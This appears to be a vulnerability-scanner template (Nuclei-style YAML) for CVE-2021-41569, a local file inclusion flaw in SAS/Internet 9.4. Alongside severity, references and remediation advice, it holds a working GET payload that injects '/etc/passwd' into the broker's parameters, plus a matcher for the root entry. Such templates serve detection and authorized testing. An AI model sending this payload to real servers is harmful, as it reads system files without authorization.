44 lines
2.0 KiB
YAML
44 lines
2.0 KiB
YAML
id: CVE-2021-41569
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info:
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name: SAS/Internet 9.4 1520 - Local File Inclusion
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author: 0x_Akoko
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severity: high
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description: SAS/Internet 9.4 build 1520 and earlier allows local file inclusion. The samples library (included by default) in the appstart.sas file, allows end-users of the application to access the sample.webcsf1.sas program, which contains user-controlled macro variables that are passed to the DS2CSF macro.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
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remediation: |
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Apply the latest security patches or updates provided by SAS to fix the LFI vulnerability in the SAS/Internet 9.4 1520 application.
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reference:
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- https://www.mindpointgroup.com/blog/high-risk-vulnerability-discovery-localfileinclusion-sas
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- https://support.sas.com/kb/68/641.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-41569
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 7.5
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cve-id: CVE-2021-41569
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cwe-id: CWE-829
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epss-score: 0.00978
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epss-percentile: 0.81649
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cpe: cpe:2.3:a:sas:sas\/intrnet:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: sas
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product: sas\/intrnet
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tags: cve,cve2021,sas,lfi
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http:
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- method: GET
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path:
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- "{{BaseURL}}/cgi-bin/broker?csftyp=classic,+ssfile1%3d/etc/passwd&_SERVICE=targetservice&_DEBUG=131&_PROGRAM=sample.webcsf1.sas&sysparm=test&_ENTRY=SAMPLIB.WEBSAMP.PRINT_TO_HTML.SOURCE&BG=%23FFFFFF&DATASET=targetdataset&_DEBUG=131&TEMPFILE=Unknown&style=a+tcolor%3dblue&_WEBOUT=test&bgtype=COLOR"
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matchers-condition: and
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matchers:
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- type: regex
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regex:
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- "root:[x*]:0:0"
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- type: status
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status:
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- 200
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# digest: 490a0046304402206c6f967c5fd944ea1b874193ee79d62f97e1307c04510788c7a38c5a7196edbf022072bd1989dfc6eebe70c8ec39187e02abb3c9c1ec1b6e9828418fa35e9b04fdc7:922c64590222798bb761d5b6d8e72950 |